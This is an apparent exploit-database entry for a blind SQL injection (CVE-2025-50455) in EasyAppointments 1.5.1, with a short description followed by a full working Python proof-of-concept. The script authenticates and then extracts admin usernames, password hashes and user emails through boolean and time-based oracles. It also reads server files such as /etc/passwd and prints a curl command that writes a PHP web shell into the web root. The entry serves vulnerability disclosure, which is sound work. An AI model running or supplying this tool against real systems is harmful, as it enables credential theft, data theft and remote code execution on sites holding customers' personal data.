EasyAppointments 1.5.1 - Blind SQL Injection

# Exploit Title: EasyAppointments  1.5.1 - Blind SQL Injection
# Google Dork: N/A (backend login required)
# Date: 07/27/2026
# Exploit Author: Michael Chesang
# Vendor Homepage: https://easyappointments.org
# Software Link: https://github.com/alextselegidis/easyappointments/releases
# Version: <= 1.5.1 (REQUIRED)
# Tested on: Linux (Debian, Docker), MySQL 8.0.46, PHP 8.2.28
# CVE: CVE-2025-50455

=== Description ===

A blind SQL injection vulnerability exists in the order_by parameter of
the /index.php/customers/search endpoint in EasyAppointments <= 1.5.1.
The parameter is passed unsanitized to CodeIgniter 3 Query Builder
order_by(). Parenthesized subqueries bypass backtick escaping via CI3's
protect_identifiers(), enabling arbitrary SQL injection.

Dual-mode extraction:
- Boolean (~0.1s/query): (SELECT IF(condition, id, -id)) DESC via JSON order
- Time-based (~5s/query): 1 ASC, (SELECT IF(condition, SLEEP(5), 0))

=== PoC attached: poc_CVE-2025-50455.py ===

Usage:
python3 poc_CVE-2025-50455.py --url http://target/ \
--username admin --password secret \
--mode bool --target version

=== References ===

https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-w45h-26pc-4gr9
https://github.com/alextselegidis/easyappointments/commit/0f0d71cfe0692daed9aee59bc424ce2a084fd59e
https://github.com/threatlance-org/security-advisories/blob/main/CVE-2025-50455/advisory.md

import argparse
import json
import re
import sys
import time

import requests
import urllib.parse
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

BANNER = r"""
  _______  _    ________     ___   ___  ___  ______   _____ ____  __  _ ____
 / ___\ \ / /__|__  / __|   |_  ) / _ \|_  )|__ /__|/ ____| ___||  \| | ___|
| |__  \ V / -_)/ /| _|      / / | (_) |/ /  |_ \_  \___ \|___ \|     |___ \
 \____|  \_/\___/___|___|    /___| \___//___|____(_)  ____/ ____/|_|\__|____/

  CVE-2025-50455 · Blind SQL Injection · EasyAppointments <= 1.5.1
  POST /index.php/{customers,admins,providers,...}/search  →  order_by
  Dual-mode: boolean (~0.1s/q) or time-based (~5s/q)
  Author: Michael Chesang
"""

ENDPOINTS = {
    "customers":          "index.php/customers/search",
    "admins":             "index.php/admins/search",
    "providers":          "index.php/providers/search",
    "services":           "index.php/services/search",
    "service_categories": "index.php/service_categories/search",
    "webhooks":           "index.php/webhooks/search",
    "blocked_periods":    "index.php/blocked_periods/search",
}

LOGIN_PATH     = "index.php/login"
VALIDATE_PATH  = "index.php/login/validate"
SLEEP_SEC      = 5
SLEEP_TOL      = 1.5


def die(msg: str):
    print(msg, file=sys.stderr)
    sys.exit(1)


def extract_csrf(html: str) -> str:
    m = re.search(r'"csrf_token"\s*:\s*"([a-f0-9]+)"', html)
    if not m:
        die("[!] Could not extract csrf_token from page.")
    return m.group(1)


def login(args) -> requests.Session:
    sess = requests.Session()
    sess.verify = args.verify

    r = sess.get(urllib.parse.urljoin(args.url, LOGIN_PATH), timeout=args.timeout)
    if r.status_code not in (200, 302):
        die(f"[!] Cannot reach login page: HTTP {r.status_code}")

    csrf_token = extract_csrf(r.text)

    r = sess.post(
        urllib.parse.urljoin(args.url, VALIDATE_PATH),
        data={"csrf_token": csrf_token, "username": args.username, "password": args.password},
        timeout=args.timeout,
    )
    if not r.json().get("success"):
        die("[!] Authentication failed – wrong credentials.")

    print(f"[+] Authenticated as '{args.username}'")
    return sess


def send(sess, args, order_by: str) -> requests.Response:
    search_path = ENDPOINTS.get(args.endpoint, ENDPOINTS["customers"])
    url = urllib.parse.urljoin(args.url, search_path)
    csrf_token = sess.cookies.get("csrf_cookie", "")
    data = {
        "csrf_token": csrf_token,
        "keyword": "",
        "limit": 20,
        "offset": 0,
        "order_by": order_by,
    }
    return sess.post(url, data=data, timeout=args.timeout)


def timed_send(sess, args, order_by: str) -> float:
    t0 = time.monotonic()
    send(sess, args, order_by)
    return time.monotonic() - t0


def delayed(elapsed: float) -> bool:
    return elapsed >= (SLEEP_SEC - SLEEP_TOL)


# ── Boolean Oracle ────────────────────────────────────────────────────────

def find_ref_id(sess, args) -> int:
    """Find the ID of the first row when sorted by id ASC.
    Reference anchor for boolean oracle — stays constant on FALSE.
    Returns -1 if only 1 row (boolean mode unavailable).
    """
    try:
        r = send(sess, args, "id ASC")
        rows = r.json()
        if len(rows) < 2:
            return -1
        return rows[0]["id"]
    except Exception:
        return -1


def bool_oracle(sess, args, condition: str, ref_id: int) -> bool:
    """Boolean oracle via ORDER BY manipulation.
    Payload: (SELECT IF(condition, id, -id)) DESC
    TRUE  → first row has id != ref_id (sorted by id DESC)
    FALSE → first row has id == ref_id (sorted by -id DESC == id ASC)
    """
    payload = f"(SELECT IF({condition}, id, -id)) DESC"
    try:
        r = send(sess, args, payload)
        rows = r.json()
        if not rows:
            return False
        return rows[0].get("id", 0) != ref_id
    except Exception:
        return False


# ── Time-based Oracle ─────────────────────────────────────────────────────

def time_oracle(sess, args, condition: str) -> bool:
    payload = f"1 ASC, (SELECT IF({condition}, SLEEP({SLEEP_SEC}), 0))"
    return delayed(timed_send(sess, args, payload))


# ── Binary-search extraction (shared) ─────────────────────────────────────

def get_length(sess, args, oracle_fn, expr: str, max_len: int = 512) -> int:
    lo, hi = 1, max_len
    while lo < hi:
        mid = (lo + hi) // 2
        if oracle_fn(sess, args, f"LENGTH(({expr})) <= {mid}"):
            hi = mid
        else:
            lo = mid + 1
    return lo


def get_char(sess, args, oracle_fn, expr: str, pos: int) -> str:
    lo, hi = 32, 126
    while lo < hi:
        mid = (lo + hi) // 2
        if oracle_fn(sess, args, f"ASCII(SUBSTRING(({expr}),{pos},1)) <= {mid}"):
            hi = mid
        else:
            lo = mid + 1
    return chr(lo) if lo <= 126 else "?"


def extract(sess, args, oracle_fn, expr: str, label: str = "", max_len: int = 256) -> str:
    tag = label or expr
    print(f"\n[*] Extracting: {tag}")
    length = get_length(sess, args, oracle_fn, expr, max_len)
    print(f"[*] Length = {length} chars")
    result = ""
    for pos in range(1, length + 1):
        ch = get_char(sess, args, oracle_fn, expr, pos)
        result += ch
        print(f"    [{pos:03d}/{length}]  {result}", end="\r", flush=True)
    print(f"    [{length:03d}/{length}]  {result}   ")
    return result


# ── Target expressions ────────────────────────────────────────────────────

TARGETS = {
    "version":           ("@@version",                                                      "MySQL version"),
    "user":              ("USER()",                                                          "DB user"),
    "database":          ("DATABASE()",                                                      "Current database"),
    "datadir":           ("@@datadir",                                                       "Data directory"),
    "hostname":          ("@@hostname",                                                      "Hostname"),
    "secure_file_priv":  ("IFNULL(NULLIF(@@global.secure_file_priv,''),CHAR(78,79,78,69))", "secure_file_priv"),
    "tables":            ("(SELECT GROUP_CONCAT(table_name ORDER BY table_name SEPARATOR ',') FROM information_schema.tables WHERE table_schema=DATABASE())", "All tables"),
    "columns":           ("(SELECT GROUP_CONCAT(column_name ORDER BY column_name SEPARATOR ',') FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='{table}')", "Columns of `{table}`"),
    "admin_creds":       ("(SELECT GROUP_CONCAT(username, CHAR(58), password SEPARATOR '|') FROM ea_user_settings LIMIT 10)", "Usernames + password hashes"),
    "user_emails":       ("(SELECT GROUP_CONCAT(email SEPARATOR ',') FROM ea_users LIMIT 20)", "User e-mail addresses"),
}


# ── Modes ─────────────────────────────────────────────────────────────────

def mode_bool(sess, args):
    """Boolean-based extraction via ORDER BY first-row oracle. Fastest mode."""
    print(f"\n[*] Mode: boolean-based extraction")
    print(f"[*] Endpoint: {args.endpoint}")

    ref_id = find_ref_id(sess, args)
    if ref_id < 0:
        print("[!] <2 rows in response — boolean oracle unavailable, use --mode time.")
        return
    print(f"[*] Reference ID (FALSE anchor): {ref_id}")

    oracle_fn = lambda s, a, c: bool_oracle(s, a, c, ref_id)

    expr_label = TARGETS.get(args.target, TARGETS["version"])
    expr = expr_label[0].format(table=args.table)
    label = expr_label[1].format(table=args.table) if hasattr(expr_label[1], 'format') else expr_label[1]

    value = extract(sess, args, oracle_fn, expr, label)
    print(f"\n[+] {label}:  {value}")


def mode_time(sess, args):
    print("\n[*] Mode: time-based confirmation")
    print(f"[*] Payload: 1 ASC, (SELECT SLEEP({SLEEP_SEC}))")
    print()

    elapsed_vuln = timed_send(sess, args, f"1 ASC, (SELECT SLEEP({SLEEP_SEC}))")
    elapsed_safe = timed_send(sess, args, "update_datetime DESC")

    print(f"    Injected (sleep)  → {elapsed_vuln:.2f}s")
    print(f"    Benign (no sleep) → {elapsed_safe:.2f}s")
    print()

    if delayed(elapsed_vuln) and not delayed(elapsed_safe):
        print("[+] ✔  VULNERABLE")
    else:
        print("[-] Timing inconclusive – check connectivity/firewall or increase --timeout.")


def mode_enum(sess, args):
    """Extract arbitrary data via time-based oracle."""
    expr_label = TARGETS.get(args.target, TARGETS["version"])
    expr = expr_label[0].format(table=args.table)
    label = expr_label[1]

    print(f"\n[*] Mode: data enumeration  ({label})")
    value = extract(sess, args, time_oracle, expr, label)
    print(f"\n[+] {label}:  {value}")


def mode_schema(sess, args):
    tables_to_probe = [
        "ea_users", "ea_appointments", "ea_services",
        "ea_providers", "ea_settings", "users", "admins",
    ]
    if args.table and args.table not in tables_to_probe:
        tables_to_probe.insert(0, args.table)

    print("\n[*] Mode: schema enumeration via IF(EXISTS(…), SLEEP, 0)")
    print(f"[*] Probing tables: {tables_to_probe}")
    print()

    found = []
    for tbl in tables_to_probe:
        cond = (f"EXISTS(SELECT 1 FROM information_schema.tables "
                f"WHERE table_schema=DATABASE() AND table_name='{tbl}')")
        payload = f"1 AND (SELECT IF({cond}, SLEEP({SLEEP_SEC}), 0))"
        print(f"    Testing '{tbl}' …", end=" ", flush=True)
        elapsed = timed_send(sess, args, payload)
        if delayed(elapsed):
            print(f"EXISTS  ({elapsed:.1f}s delay)")
            found.append(tbl)
        else:
            print(f"not found ({elapsed:.1f}s)")

    print()
    if found:
        print(f"[+] Confirmed tables: {found}")
    else:
        print("[-] No tested tables confirmed.")


def mode_outfile(sess, args):
    outfile  = args.outfile
    readfile = args.readfile
    shell    = '<?php system($_GET["cmd"]); ?>'

    print("\n[*] Mode: FILE privilege exploitation")
    print(f"[*] Read target : {readfile}")
    print(f"[*] Write target: {outfile}")
    print()

    # Step 1: check secure_file_priv
    print("[*] Step 1 – Enumerating @@global.secure_file_priv …")
    try:
        sfp = extract(
            sess, args, time_oracle,
            "IFNULL(NULLIF(@@global.secure_file_priv,''),'UNRESTRICTED')",
            "secure_file_priv", max_len=128,
        )
        print(f"\n[+] secure_file_priv = {sfp!r}")
        file_priv = "UNRESTRICTED" in sfp or sfp == "" or sfp.upper() != "NULL"
    except Exception:
        print("[!] Could not determine secure_file_priv, assuming restricted.")
        file_priv = False

    # Step 2: LOAD_FILE read
    print()
    print("[*] Step 2 – Reading file via LOAD_FILE() sub-query …")
    if not file_priv:
        print("[!] FILE privilege unavailable – skipping read.")
    else:
        file_len = get_length(
            sess, args, time_oracle,
            f"IFNULL(LOAD_FILE('{readfile}'),'')", max_len=65536,
        )
        if file_len == 0:
            print(f"[!] LOAD_FILE('{readfile}') returned NULL – not readable.")
        else:
            print(f"[+] File is readable ({file_len} bytes). Extracting first 512 bytes …")
            content = extract(
                sess, args, time_oracle,
                f"IFNULL(LOAD_FILE('{readfile}'),'')",
                f"LOAD_FILE({readfile})", max_len=min(file_len, 512),
            )
            print(f"\n[+] File content ({readfile}):")
            print("-" * 60)
            print(content)
            print("-" * 60)

    # Step 3: stacked-query write (theoretical)
    print()
    print("[*] Step 3 – INTO OUTFILE via stacked queries (theoretical)")
    search_url = urllib.parse.urljoin(args.url, ENDPOINTS[args.endpoint])
    stacked = f"update_datetime DESC; SELECT '{shell}' INTO OUTFILE '{outfile}'-- -"
    print(f"    curl -X POST {search_url} \\")
    print(f"      -b 'ea_session=<your_session>' \\")
    print(f"      -d $'keyword=&limit=20&offset=0&order_by={stacked}'")


# ── CLI ───────────────────────────────────────────────────────────────────

def parse_args() -> argparse.Namespace:
    p = argparse.ArgumentParser(
        prog="poc_CVE-2025-50455",
        description="CVE-2025-50455 – EasyAppointments <= 1.5.1 Blind SQLi PoC",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=__doc__,
    )
    p.add_argument("--url",      required=True,
                   help="Base URL (e.g. http://172.17.0.1/)")
    p.add_argument("--username", required=True, help="Backend username")
    p.add_argument("--password", required=True, help="Backend password")
    p.add_argument(
        "--mode",
        choices=["bool", "time", "schema", "enum", "outfile"],
        default="time",
        help=(
            "bool    – boolean extraction via ORDER BY (fastest, need 2+ rows)\n"
            "time    – time-based SLEEP confirmation   (default)\n"
            "schema  – probe table existence via SLEEP\n"
            "enum    – time-based data extraction\n"
            "outfile – LOAD_FILE() read + write analysis"
        ),
    )
    p.add_argument(
        "--endpoint",
        choices=list(ENDPOINTS.keys()),
        default="customers",
        help="Vulnerable endpoint (default: customers)",
    )
    p.add_argument(
        "--target",
        choices=list(TARGETS.keys()),
        default="version",
        help="(enum/bool mode) what to extract. Default: version",
    )
    p.add_argument("--table", default="ea_users",
                   help="Table name for --target columns / --mode schema")
    p.add_argument("--outfile", default="/var/www/html/shell.php",
                   help="(outfile) Server path for shell")
    p.add_argument("--readfile", default="/etc/passwd",
                   help="(outfile) File to read via LOAD_FILE()")
    p.add_argument("--timeout", type=int, default=30,
                   help="HTTP timeout (default: 30)")
    p.add_argument("--no-verify", dest="verify", action="store_false",
                   default=True, help="Disable TLS verification")
    return p.parse_args()


def main():
    print(BANNER)
    args = parse_args()

    if not args.url.endswith("/"):
        args.url += "/"

    print(f"[*] Target   : {args.url}")
    print(f"[*] Endpoint : {args.endpoint}")
    print(f"[*] Mode     : {args.mode}")
    print(f"[*] Timeout  : {args.timeout}s")

    sess = login(args)

    dispatch = {
        "bool":    mode_bool,
        "time":    mode_time,
        "schema":  mode_schema,
        "enum":    mode_enum,
        "outfile": mode_outfile,
    }
    dispatch[args.mode](sess, args)


if __name__ == "__main__":
    main()